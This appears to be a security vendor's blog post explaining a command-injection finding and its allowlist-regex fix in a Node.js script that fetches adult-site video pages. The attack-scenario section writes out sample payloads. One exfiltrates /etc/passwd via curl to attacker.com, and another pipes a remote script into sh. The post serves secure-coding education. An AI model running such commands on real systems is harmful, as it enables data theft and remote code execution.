Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Command Injection vulnerability (CWE-78) in a Node.js CLI script (`scripts/refresh-htv-signature.js`) where the `slug` variable read from `process.argv[2]` was interpolated into a URL and logged without validation. An attacker controlling the command-line arguments — for example through a compromised CI/CD pipeline — could pass shell metacharacters or subshell expressions. The fix adds a one-line allowlist regex (`/^[a-zA-Z0-9_-]+$/`) that immediately exits the process if the slug contains any character outside letters, digits, hyphens, and underscores.

Vulnerability at a Glance

cweCWE-78
fixStrict regex allowlist `/^[a-zA-Z0-9_-]+$/` added immediately after reading `slug`; process exits on invalid input
riskAttacker-controlled input reaches URL construction and logging, enabling injection into current and future shell-adjacent code paths
languageJavaScript (Node.js)
root cause`process.argv[2]` accepted verbatim with no allowlist validation before being interpolated into a template literal
vulnerabilityCommand Injection / Unvalidated CLI Input

The Problem with Trusting Your Own CLI Arguments

The scripts/refresh-htv-signature.js file handles a specific automation task: fetching a video page from hanime.tv, extracting its HTV signature, and refreshing it for downstream use. It is a small, focused script — the kind of utility that often lives in a scripts/ directory and gets invoked by CI/CD pipelines, cron jobs, or developers running one-off commands.

But tucked inside its main() function was a subtle but high-severity flaw: the slug variable, read directly from process.argv[2], was interpolated into a URL string and logged to the console with zero validation. No allowlist, no type check, no length limit — just raw, unfiltered user input flowing into the script's core logic.

// Before the fix — line 24 in main()
const slug = process.argv[2] || 'bible-black-6';
const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
console.log('Fetching video page:', pageUrl);
const page = await axios.get(pageUrl, { headers: { 'user-agent': UA, referer: 'https://hanime.tv/' } });

This pattern is common in utility scripts and it is exactly the kind of thing that slips through code review because the immediate use looks harmless. But "harmless right now" is not the same as "secure."


The Vulnerability Explained

What Actually Happens at Line 24

When main() runs, it reads process.argv[2] — whatever the caller passed as the first positional argument — and assigns it to slug. That value then gets embedded in a template literal to form pageUrl, which is logged and passed to axios.get().

The vulnerable pattern is this direct interpolation with no guard:

const slug = process.argv[2] || 'bible-black-6';
// ↑ No validation. Any string passes through.

const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
// ↑ slug lands verbatim in the URL string.

console.log('Fetching video page:', pageUrl);
// ↑ slug also lands in a log sink.

Why This Is CWE-78, Not Just a Bad URL

CWE-78 (Improper Neutralization of Special Elements used in an OS Command) applies here for two interconnected reasons:

  1. The logging sink is a stepping stone. console.log output is frequently piped into log aggregators, shell scripts, or monitoring tools that may re-process the string. A slug like `$(curl attacker.com/exfil?data=$(cat /etc/passwd))` written into a log line could be evaluated if that log is ever consumed by a shell.

  2. The script is one refactor away from a shell call. Scripts that fetch remote content and process it often evolve to pass results to other tools — ffmpeg, curl, custom binaries — via child_process.exec() or spawn(). Without input validation at the entry point, every future code path inherits the tainted slug value.

The Attack Scenario

An attacker with control over command-line arguments — a realistic threat model for compromised CI/CD pipelines, misconfigured cron jobs, or shared build environments — executes:

node scripts/refresh-htv-signature.js '$(malicious-command)'
# or
node scripts/refresh-htv-signature.js '; curl https://attacker.com/c2 | sh;'

Without the fix, slug becomes $(malicious-command) or ; curl ..., the constructed pageUrl contains the payload, and the value is logged. If the script is later extended to pass pageUrl or slug to a shell command — a one-line change any developer might make — the injection executes immediately.

Even in the current form, the logged payload can poison downstream log-processing pipelines that evaluate shell expressions.


The Fix

The fix is elegant in its simplicity: a four-line guard added immediately after reading slug, before any other operation touches the value.

Before

async function main() {
  const slug = process.argv[2] || 'bible-black-6';
  const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
  console.log('Fetching video page:', pageUrl);
  // ...
}

After

async function main() {
  const slug = process.argv[2] || 'bible-black-6';
  if (!/^[a-zA-Z0-9_-]+$/.test(slug)) {
    console.error('Invalid slug:', slug);
    process.exit(1);
  }
  const pageUrl = `https://hanime.tv/videos/hentai/${slug}`;
  console.log('Fetching video page:', pageUrl);
  // ...
}

Why This Specific Regex Is the Right Control

The regex /^[a-zA-Z0-9_-]+$/ implements a strict allowlist — it defines exactly which characters are permitted and rejects everything else:

Character class Allowed Why
a-zA-Z Valid slug letters
0-9 Valid slug digits
_ Common URL slug separator
- Common URL slug separator
$, (, ), ;, `, |, & Shell metacharacters — now rejected
Spaces, newlines, null bytes Injection primitives — now rejected

The anchors ^ and $ are critical: without them, a regex like /[a-zA-Z0-9_-]/ would match a string that contains a valid character anywhere, even if the rest is malicious. The anchors enforce that the entire slug matches the pattern.

The process.exit(1) on invalid input ensures the script fails loudly and immediately rather than silently continuing with a tainted value — an important property for scripts running in automated pipelines where silent failures are dangerous.


Key Takeaways

  • process.argv is an untrusted input surface — the slug parameter in refresh-htv-signature.js required the same validation discipline as an HTTP query parameter or form field.
  • Template literal interpolation is a sink — embedding slug in `https://hanime.tv/videos/hentai/${slug}` without validation is the root of this CWE-78 finding, even though the immediate call is an HTTP request.
  • Allowlist regex at the entry point is the correct fix/^[a-zA-Z0-9_-]+$/ eliminates every shell metacharacter class in a single, auditable check.
  • process.exit(1) on invalid input is not optional — failing fast and loudly prevents tainted values from propagating silently through automated pipelines.
  • Scripts evolve — a script that today only calls axios.get() may tomorrow call child_process.exec(). Validating at the entry point protects all future code paths, not just the current ones.

How Orbis AppSec Detected This

  • Source: process.argv[2] — the first positional argument passed to the Node.js CLI script by any caller (CI/CD pipeline, cron job, developer, or compromised system user)
  • Sink: Template literal interpolation `https://hanime.tv/videos/hentai/${slug}` at line 25 of scripts/refresh-htv-signature.js, with the same value passed to console.log() at line 26
  • Missing control: No allowlist validation, no character-class filtering, and no length limit on slug before it reached the URL construction and logging operations
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command
  • Fix: A four-line guard using /^[a-zA-Z0-9_-]+$/ was inserted immediately after reading slug, terminating the process with exit code 1 if the value contains any character outside the allowlist

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in scripts/refresh-htv-signature.js is a textbook example of how command injection risk accumulates quietly in utility scripts. The slug variable looked safe — it was going into an HTTP URL, not a shell command. But unvalidated input that touches logging, URL construction, and any future code path is a liability waiting to be exercised.

The fix is four lines of code and a regex. The security improvement is substantial: every shell metacharacter, subshell expression, and injection primitive is now rejected at the entry point, before slug touches anything. Valid slugs — the only slugs this script should ever see — pass through unchanged.

For developers writing Node.js CLI scripts: treat process.argv exactly as you would treat an HTTP request body. Validate early, allowlist aggressively, and fail loudly on unexpected input. The scripts that run your infrastructure deserve the same security discipline as the code that faces your users.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #29

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.